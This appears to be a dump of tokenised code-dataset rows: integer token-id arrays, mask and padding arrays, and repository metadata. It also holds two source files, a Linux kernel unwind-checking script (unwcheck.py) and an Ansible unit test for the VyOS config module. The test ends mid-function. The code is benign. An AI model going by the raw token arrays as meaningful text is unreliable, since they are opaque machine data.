275,
715,
355,
859,
63,
354,
847,
7815,
267,
587,
26,
288,
859,
63,
354,
275,
283,
5187,
3530,
288,
21542,
63,
3250,
275,
715,
398,
327,
1736,
734,
314,
1256,
12,
340,
781,
3984,
315,
282,
1021,
267,
862,
26,
288,
1021,
63,
354,
275,
2787,
14,
70,
63,
9350,
459,
277,
418,
855,
533,
4914,
354,
363,
288,
340,
2202,
459,
2613,
63,
533,
2565,
355,
340,
1021,
63,
354,
440,
315,
2202,
459,
2613,
63,
533,
2565,
490,
21542,
63,
3250,
275,
715,
288,
587,
26,
355,
340,
1021,
63,
354,
315,
2202,
459,
5473,
63,
533,
2565,
490,
21542,
63,
3250,
275,
715,
288,
1021,
63,
354,
847,
7815,
267,
871,
334,
10230,
12,
4281,
304,
288,
1021,
63,
354,
275,
2125,
398,
327,
1736,
734,
314,
1453,
805,
503,
1083,
267,
2562,
63,
354,
275,
1233,
14,
331,
63,
354,
267,
340,
2562,
63,
354,
508,
8720,
356,
288,
2562,
63,
354,
275,
2560,
973,
12217,
267,
587,
26,
288,
340,
2202,
459,
2613,
63,
1532,
2565,
355,
340,
2562,
63,
354,
440
] |
[
2647,
15,
1393,
15,
1813,
2366,
199,
624,
199,
647,
1250,
2180,
199,
1014,
921,
647,
1250,
2180,
14,
14362,
335,
411,
14,
957,
15,
199,
7384,
22261,
27075,
1804,
305,
90,
9405,
10219,
199,
199,
2765,
2240,
365,
2867,
2032,
27,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
390,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
3267,
701,
199,
1589,
2868,
2290,
2752,
27,
1902,
1015,
499,
402,
314,
844,
12,
503,
199,
8,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
199,
2765,
2240,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
7911,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
31461,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
17732,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
199,
5556,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
1696,
1684,
844,
199,
21632,
543,
642,
2240,
27,
340,
440,
12,
2218,
370,
314,
2868,
2290,
199,
30216,
12,
3277,
2020,
8026,
11236,
1933,
12,
12066,
11844,
12,
8226,
12,
4828,
221,
11315,
13,
10067,
221,
8217,
199,
199,
3,
16726,
23070,
367,
1849,
26722,
5343,
199,
3,
16922,
22453,
665,
77,
24247,
32,
17164,
14,
957,
6244,
10219,
199,
624,
199,
199,
646,
6485,
199,
646,
984,
199,
646,
747,
199,
646,
5549,
199,
199,
3,
8753,
270,
2652,
666,
199,
318,
5305,
63,
3446,
837,
272,
2288,
1240,
63,
807,
272,
1240,
63,
807,
275,
1052,
272,
2288,
1240,
63,
2340,
272,
1240,
63,
2340,
275,
14050,
973,
17501,
272,
2288,
2562,
63,
835,
272,
2562,
63,
835,
275,
1052,
272,
2288,
2562,
63,
835,
63,
988,
272,
2562,
63,
835,
63,
988,
275,
378,
199,
199,
3958,
63,
3446,
342,
199,
199,
3,
3343,
17249,
2202,
199,
2180,
63,
2987,
275,
469,
272,
283,
2180,
356,
469,
272,
1660,
272,
283,
932,
356,
469,
267,
283,
2326,
356,
1987,
21,
378,
1275,
25,
297,
267,
283,
2487,
356,
283,
17647,
297,
267,
283,
1392,
356,
283,
1201,
297,
267,
283,
4246,
354,
356,
283,
40,
25911,
297,
267,
283,
22124,
356,
1616,
12,
272,
1660,
199,
93,
199,
199,
3,
2202,
367,
10015,
6308,
1584,
199,
1751,
275,
469,
2043,
283,
932,
63,
2987,
356,
469,
2126,
283,
1302,
356,
519,
13328,
1532,
9,
83,
60,
78,
5352,
26,
2818,
16595,
9,
73,
297,
2126,
283,
2326,
356,
9487,
761,
9,
83,
297,
272,
1660,
272,
283,
932,
63,
2326,
356,
2400,
4882,
12,
520,
1543,
70,
450,
70,
450,
70,
7,
450,
334,
5352,
1182,
499,
435,
1275,
21,
12,
4882,
12,
378,
14,
25,
395,
272,
283,
5173,
63,
2326,
356,
2400,
4882,
12,
520,
1543,
70,
450,
70,
450,
70,
7,
450,
334,
5352,
1182,
499,
435,
1275,
21,
12,
4882,
12,
378,
14,
23,
395,
272,
283,
5473,
63,
578,
356,
359,
4960,
283,
5963,
297,
283,
5963,
14,
912,
297,
283,
5963,
14,
1745,
297,
283,
31026,
297,
283,
2796,
297,
267,
283,
1274,
297,
283,
736,
297,
283,
5781,
297,
283,
875,
297,
283,
521,
297,
283,
396,
297,
283,
23342,
297,
283,
2355,
297,
267,
283,
20938,
297,
283,
647,
1250,
2180,
297,
283,
3736,
297,
283,
17336,
297,
283,
3450,
297,
283,
6463,
297,
283,
954,
63,
1412,
297,
4960,
283,
7931,
297,
283,
21330,
297,
283,
6894,
7,
5591,
2156,
272,
283,
5473,
63,
533,
356,
990,
272,
283,
5473,
63,
1532,
356,
990,
272,
283,
5473,
63,
6100,
356,
788,
2379,
63,
3446,
297,
283,
1875,
63,
2180,
995,
272,
283,
2613,
63,
578,
356,
990,
272,
283,
2613,
63,
533,
356,
990,
272,
283,
2613,
63,
1532,
356,
990,
272,
283,
2613,
63,
6100,
356,
990,
272,
283,
18671,
63,
5473,
63,
25058,
356,
756,
12,
199,
93,
199,
199,
533,
1611,
2176,
4578,
1726,
8,
1726,
304,
272,
986,
199,
199,
318,
1343,
63,
3446,
8,
3958,
29,
549,
304,
272,
340,
5305,
26,
267,
5305,
63,
3446,
342,
272,
984,
14,
28434,
8,
16825,
9,
199,
199,
318,
3631,
63,
3446,
837,
272,
984,
14,
28434,
8,
403,
9,
199,
199,
318,
29140,
8,
1943,
12,
1566,
12,
1680,
304,
272,
2288,
2562,
63,
835,
63,
988,
339,
340,
1566,
508,
283,
1250,
356,
267,
21542,
63,
3250,
275,
756,
267,
1233,
275,
2787,
14,
70,
63,
600,
272,
267,
327,
1736,
734,
314,
859,
267,
859,
275,
6485,
14,
362,
578,
8,
600,
9,
267,
340,
859,
26,
288,
859,
63,
354,
275,
859,
855,
354,
363,
7205,
340,
859,
63,
354,
508,
2560,
973,
3706,
355,
859,
63,
354,
275,
2125,
288,
587,
26,
355,
340,
2202,
459,
2613,
63,
578,
2565,
490,
340,
859,
63,
354,
440,
315,
2202,
459,
2613,
63,
578,
2565,
717,
21542,
63,
3250,
275,
715,
355,
587,
26,
490,
327,
340,
859,
63,
354,
315,
2202,
459,
5473,
63,
578,
2565,
490,
327,
259,
21542,
63,
3250,
275,
715,
490,
367,
671,
315,
2202,
459,
5473,
63,
578,
2565,
717,
340,
859,
63,
354,
14,
2460,
8,
88,
304,
1169,
21542,
63,
3250,
275,
715,
355,
859,
63,
354,
847,
7815,
267,
587,
26,
288,
859,
63,
354,
275,
283,
5187,
3530,
288,
21542,
63,
3250,
275,
715,
398,
327,
1736,
734,
314,
1256,
12,
340,
781,
3984,
315,
282,
1021,
267,
862,
26,
288,
1021,
63,
354,
275,
2787,
14,
70,
63,
9350,
459,
277,
418,
855,
533,
4914,
354,
363,
288,
340,
2202,
459,
2613,
63,
533,
2565,
355,
340,
1021,
63,
354,
440,
315,
2202,
459,
2613,
63,
533,
2565,
490,
21542,
63,
3250,
275,
715,
288,
587,
26,
355,
340,
1021,
63,
354,
315,
2202,
459,
5473,
63,
533,
2565,
490,
21542,
63,
3250,
275,
715,
288,
1021,
63,
354,
847,
7815,
267,
871,
334,
10230,
12,
4281,
304,
288,
1021,
63,
354,
275,
2125,
398,
327,
1736,
734,
314,
1453,
805,
503,
1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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
Lenovo-K3/android_kernel_lenovo_msm8916
|
arch/ia64/scripts/unwcheck.py
|
13143
|
1714
|
#!/usr/bin/python
#
# Usage: unwcheck.py FILE
#
# This script checks the unwind info of each function in file FILE
# and verifies that the sum of the region-lengths matches the total
# length of the function.
#
# Based on a shell/awk script originally written by Harish Patil,
# which was converted to Perl by Matthew Chapman, which was converted
# to Python by David Mosberger.
#
import os
import re
import sys
if len(sys.argv) != 2:
print "Usage: %s FILE" % sys.argv[0]
sys.exit(2)
readelf = os.getenv("READELF", "readelf")
start_pattern = re.compile("<([^>]*)>: \[0x([0-9a-f]+)-0x([0-9a-f]+)\]")
rlen_pattern = re.compile(".*rlen=([0-9]+)")
def check_func (func, slots, rlen_sum):
if slots != rlen_sum:
global num_errors
num_errors += 1
if not func: func = "[%#x-%#x]" % (start, end)
print "ERROR: %s: %lu slots, total region length = %lu" % (func, slots, rlen_sum)
return
num_funcs = 0
num_errors = 0
func = False
slots = 0
rlen_sum = 0
for line in os.popen("%s -u %s" % (readelf, sys.argv[1])):
m = start_pattern.match(line)
if m:
check_func(func, slots, rlen_sum)
func = m.group(1)
start = long(m.group(2), 16)
end = long(m.group(3), 16)
slots = 3 * (end - start) / 16
rlen_sum = 0L
num_funcs += 1
else:
m = rlen_pattern.match(line)
if m:
rlen_sum += long(m.group(1))
check_func(func, slots, rlen_sum)
if num_errors == 0:
print "No errors detected in %u functions." % num_funcs
else:
if num_errors > 1:
err="errors"
else:
err="error"
print "%u %s detected in %u functions." % (num_errors, err, num_funcs)
sys.exit(1)
|
gpl-2.0
|
[
3381,
2647,
15,
1393,
15,
1548,
199,
3,
199,
3,
11028,
26,
625,
87,
1074,
14,
647,
13024,
199,
3,
199,
3,
961,
2884,
5920,
314,
625,
11530,
2256,
402,
1924,
805,
315,
570,
13024,
199,
3,
436,
22694,
626,
314,
3089,
402,
314,
4897,
13,
14563,
4450,
314,
3141,
199,
3,
2582,
402,
314,
805,
14,
199,
3,
199,
3,
21311,
641,
282,
5218,
15,
10084,
75,
2884,
20657,
5313,
701,
25378,
2453,
510,
2159,
76,
12,
199,
3,
1314,
1990,
6702,
370,
3492,
76,
701,
18619,
29640,
2799,
439,
1237,
12,
1314,
1990,
6702,
199,
3,
370,
2018,
701,
20232,
603,
736,
605,
836,
14,
199,
3,
199,
646,
747,
199,
646,
295,
199,
646,
984,
199,
199,
692,
822,
8,
1274,
14,
3020,
9,
1137,
499,
26,
272,
870,
298,
7692,
26,
450,
83,
13024,
2,
450,
984,
14,
3020,
59,
16,
61,
272,
984,
14,
2224,
8,
18,
9,
199,
199,
8273,
271,
276,
275,
747,
14,
12959,
480,
24345,
4424,
38,
401,
298,
8273,
271,
276,
531,
199,
199,
928,
63,
3401,
275,
295,
14,
2014,
6757,
7059,
30,
3672,
13032,
26,
30257,
16,
88,
779,
16,
13,
25,
65,
13,
70,
2807,
7216,
16,
88,
779,
16,
13,
25,
65,
13,
70,
18096,
12523,
199,
82,
552,
63,
3401,
221,
275,
295,
14,
2014,
480,
2795,
82,
552,
30982,
16,
13,
25,
2807,
6320,
199,
199,
318,
1104,
63,
1532,
334,
1532,
12,
14319,
12,
24746,
63,
1838,
304,
272,
340,
14319,
1137,
24746,
63,
1838,
26,
267,
2288,
1967,
63,
2550,
267,
1967,
63,
2550,
847,
413,
267,
340,
440,
2562,
26,
2562,
275,
26503,
3,
88,
3295,
3,
88,
8480,
450,
334,
928,
12,
1284,
9,
267,
870,
298,
3170,
26,
450,
83,
26,
450,
10836,
14319,
12,
3141,
4897,
2582,
275,
450,
10836,
2,
450,
334,
1532,
12,
14319,
12,
24746,
63,
1838,
9,
272,
372,
199,
199,
1507,
63,
9204,
275,
378,
199,
1507,
63,
2550,
275,
378,
199,
1532,
275,
756,
199,
7257,
275,
378,
199,
82,
552,
63,
1838,
275,
378,
199,
509,
1004,
315,
747,
14,
12207,
3647,
83,
446,
85,
450,
83,
2,
450,
334,
8273,
271,
276,
12,
984,
14,
3020,
59,
17,
18710,
272,
333,
275,
1343,
63,
3401,
14,
1431,
8,
604,
9,
272,
340,
333,
26,
267,
1104,
63,
1532,
8,
1532,
12,
14319,
12,
24746,
63,
1838,
9,
398,
2562,
221,
275,
333,
14,
923,
8,
17,
9,
267,
1343,
275,
1846,
8,
77,
14,
923,
8,
18,
395,
3193,
9,
267,
1284,
257,
275,
1846,
8,
77,
14,
923,
8,
19,
395,
3193,
9,
267,
14319,
275,
650,
627,
334,
500,
446,
1343,
9,
1182,
3193,
267,
24746,
63,
1838,
275,
378,
44,
267,
1967,
63,
9204,
847,
413,
272,
587,
26,
267,
333,
275,
24746,
63,
3401,
14,
1431,
8,
604,
9,
267,
340,
333,
26,
288,
24746,
63,
1838,
847,
1846,
8,
77,
14,
923,
8,
17,
430,
199,
1074,
63,
1532,
8,
1532,
12,
14319,
12,
24746,
63,
1838,
9,
199,
199,
692,
1967,
63,
2550,
508,
378,
26,
272,
870,
298,
1944,
2552,
10501,
315,
450,
85,
3423,
2122,
450,
1967,
63,
9204,
199,
2836,
26,
272,
340,
1967,
63,
2550,
690,
413,
26,
267,
2329,
628,
2550,
2,
272,
587,
26,
267,
2329,
628,
705,
2,
272,
870,
2071,
85,
450,
83,
10501,
315,
450,
85,
3423,
2122,
450,
334,
1507,
63,
2550,
12,
2329,
12,
1967,
63,
9204,
9,
272,
984,
14,
2224,
8,
17,
9,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
2647,
15,
1393,
15,
1548,
199,
3,
199,
3,
11028,
26,
625,
87,
1074,
14,
647,
13024,
199,
3,
199,
3,
961,
2884,
5920,
314,
625,
11530,
2256,
402,
1924,
805,
315,
570,
13024,
199,
3,
436,
22694,
626,
314,
3089,
402,
314,
4897,
13,
14563,
4450,
314,
3141,
199,
3,
2582,
402,
314,
805,
14,
199,
3,
199,
3,
21311,
641,
282,
5218,
15,
10084,
75,
2884,
20657,
5313,
701,
25378,
2453,
510,
2159,
76,
12,
199,
3,
1314,
1990,
6702,
370,
3492,
76,
701,
18619,
29640,
2799,
439,
1237,
12,
1314,
1990,
6702,
199,
3,
370,
2018,
701,
20232,
603,
736,
605,
836,
14,
199,
3,
199,
646,
747,
199,
646,
295,
199,
646,
984,
199,
199,
692,
822,
8,
1274,
14,
3020,
9,
1137,
499,
26,
272,
870,
298,
7692,
26,
450,
83,
13024,
2,
450,
984,
14,
3020,
59,
16,
61,
272,
984,
14,
2224,
8,
18,
9,
199,
199,
8273,
271,
276,
275,
747,
14,
12959,
480,
24345,
4424,
38,
401,
298,
8273,
271,
276,
531,
199,
199,
928,
63,
3401,
275,
295,
14,
2014,
6757,
7059,
30,
3672,
13032,
26,
30257,
16,
88,
779,
16,
13,
25,
65,
13,
70,
2807,
7216,
16,
88,
779,
16,
13,
25,
65,
13,
70,
18096,
12523,
199,
82,
552,
63,
3401,
221,
275,
295,
14,
2014,
480,
2795,
82,
552,
30982,
16,
13,
25,
2807,
6320,
199,
199,
318,
1104,
63,
1532,
334,
1532,
12,
14319,
12,
24746,
63,
1838,
304,
272,
340,
14319,
1137,
24746,
63,
1838,
26,
267,
2288,
1967,
63,
2550,
267,
1967,
63,
2550,
847,
413,
267,
340,
440,
2562,
26,
2562,
275,
26503,
3,
88,
3295,
3,
88,
8480,
450,
334,
928,
12,
1284,
9,
267,
870,
298,
3170,
26,
450,
83,
26,
450,
10836,
14319,
12,
3141,
4897,
2582,
275,
450,
10836,
2,
450,
334,
1532,
12,
14319,
12,
24746,
63,
1838,
9,
272,
372,
199,
199,
1507,
63,
9204,
275,
378,
199,
1507,
63,
2550,
275,
378,
199,
1532,
275,
756,
199,
7257,
275,
378,
199,
82,
552,
63,
1838,
275,
378,
199,
509,
1004,
315,
747,
14,
12207,
3647,
83,
446,
85,
450,
83,
2,
450,
334,
8273,
271,
276,
12,
984,
14,
3020,
59,
17,
18710,
272,
333,
275,
1343,
63,
3401,
14,
1431,
8,
604,
9,
272,
340,
333,
26,
267,
1104,
63,
1532,
8,
1532,
12,
14319,
12,
24746,
63,
1838,
9,
398,
2562,
221,
275,
333,
14,
923,
8,
17,
9,
267,
1343,
275,
1846,
8,
77,
14,
923,
8,
18,
395,
3193,
9,
267,
1284,
257,
275,
1846,
8,
77,
14,
923,
8,
19,
395,
3193,
9,
267,
14319,
275,
650,
627,
334,
500,
446,
1343,
9,
1182,
3193,
267,
24746,
63,
1838,
275,
378,
44,
267,
1967,
63,
9204,
847,
413,
272,
587,
26,
267,
333,
275,
24746,
63,
3401,
14,
1431,
8,
604,
9,
267,
340,
333,
26,
288,
24746,
63,
1838,
847,
1846,
8,
77,
14,
923,
8,
17,
430,
199,
1074,
63,
1532,
8,
1532,
12,
14319,
12,
24746,
63,
1838,
9,
199,
199,
692,
1967,
63,
2550,
508,
378,
26,
272,
870,
298,
1944,
2552,
10501,
315,
450,
85,
3423,
2122,
450,
1967,
63,
9204,
199,
2836,
26,
272,
340,
1967,
63,
2550,
690,
413,
26,
267,
2329,
628,
2550,
2,
272,
587,
26,
267,
2329,
628,
705,
2,
272,
870,
2071,
85,
450,
83,
10501,
315,
450,
85,
3423,
2122,
450,
334,
1507,
63,
2550,
12,
2329,
12,
1967,
63,
9204,
9,
272,
984,
14,
2224,
8,
17,
9,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
marc-sensenich/ansible
|
test/units/modules/network/vyos/test_vyos_config.py
|
68
|
5136
|
#
# (c) 2016 Red Hat Inc.
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible. If not, see <http://www.gnu.org/licenses/>.
# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
from units.compat.mock import patch, MagicMock
from ansible.modules.network.vyos import vyos_config
from ansible.plugins.cliconf.vyos import Cliconf
from units.modules.utils import set_module_args
from .vyos_module import TestVyosModule, load_fixture
class TestVyosConfigModule(TestVyosModule):
module = vyos_config
def setUp(self):
super(TestVyosConfigModule, self).setUp()
self.mock_get_config = patch('ansible.modules.network.vyos.vyos_config.get_config')
self.get_config = self.mock_get_config.start()
self.mock_load_config = patch('ansible.modules.network.vyos.vyos_config.load_config')
self.load_config = self.mock_load_config.start()
self.mock_run_commands = patch('ansible.modules.network.vyos.vyos_config.run_commands')
self.run_commands = self.mock_run_commands.start()
self.mock_get_connection = patch('ansible.modules.network.vyos.vyos_config.get_connection')
self.get_connection = self.mock_get_connection.start()
self.cliconf_obj = Cliconf(MagicMock())
self.running_config = load_fixture('vyos_config_config.cfg')
self.conn = self.get_connection()
self.conn.edit_config = MagicMock()
self.running_config = load_fixture('vyos_config_config.cfg')
def tearDown(self):
super(TestVyosConfigModule, self).tearDown()
self.mock_get_config.stop()
self.mock_load_config.stop()
self.mock_run_commands.stop()
self.mock_get_connection.stop()
def load_fixtures(self, commands=None):
config_file = 'vyos_config_config.cfg'
self.get_config.return_value = load_fixture(config_file)
self.load_config.return_value = None
def test_vyos_config_unchanged(self):
src = load_fixture('vyos_config_config.cfg')
self.conn.get_diff = MagicMock(return_value=self.cliconf_obj.get_diff(src, src))
set_module_args(dict(src=src))
self.execute_module()
def test_vyos_config_src(self):
src = load_fixture('vyos_config_src.cfg')
set_module_args(dict(src=src))
candidate = '\n'.join(self.module.format_commands(src.splitlines()))
commands = ['set system host-name foo', 'delete interfaces ethernet eth0 address']
self.conn.get_diff = MagicMock(return_value=self.cliconf_obj.get_diff(candidate, self.running_config))
self.execute_module(changed=True, commands=commands)
def test_vyos_config_src_brackets(self):
src = load_fixture('vyos_config_src_brackets.cfg')
set_module_args(dict(src=src))
candidate = '\n'.join(self.module.format_commands(src.splitlines()))
commands = ['set interfaces ethernet eth0 address 10.10.10.10/24', 'set system host-name foo']
self.conn.get_diff = MagicMock(return_value=self.cliconf_obj.get_diff(candidate, self.running_config))
self.execute_module(changed=True, commands=commands)
def test_vyos_config_backup(self):
set_module_args(dict(backup=True))
result = self.execute_module()
self.assertIn('__backup__', result)
def test_vyos_config_lines(self):
commands = ['set system host-name foo']
set_module_args(dict(lines=commands))
candidate = '\n'.join(commands)
self.conn.get_diff = MagicMock(return_value=self.cliconf_obj.get_diff(candidate, self.running_config))
self.execute_module(changed=True, commands=commands)
def test_vyos_config_config(self):
config = 'set system host-name localhost'
new_config = ['set system host-name router']
set_module_args(dict(lines=new_config, config=config))
candidate = '\n'.join(new_config)
self.conn.get_diff = MagicMock(return_value=self.cliconf_obj.get_diff(candidate, config))
self.execute_module(changed=True, commands=new_config)
def test_vyos_config_match_none(self):
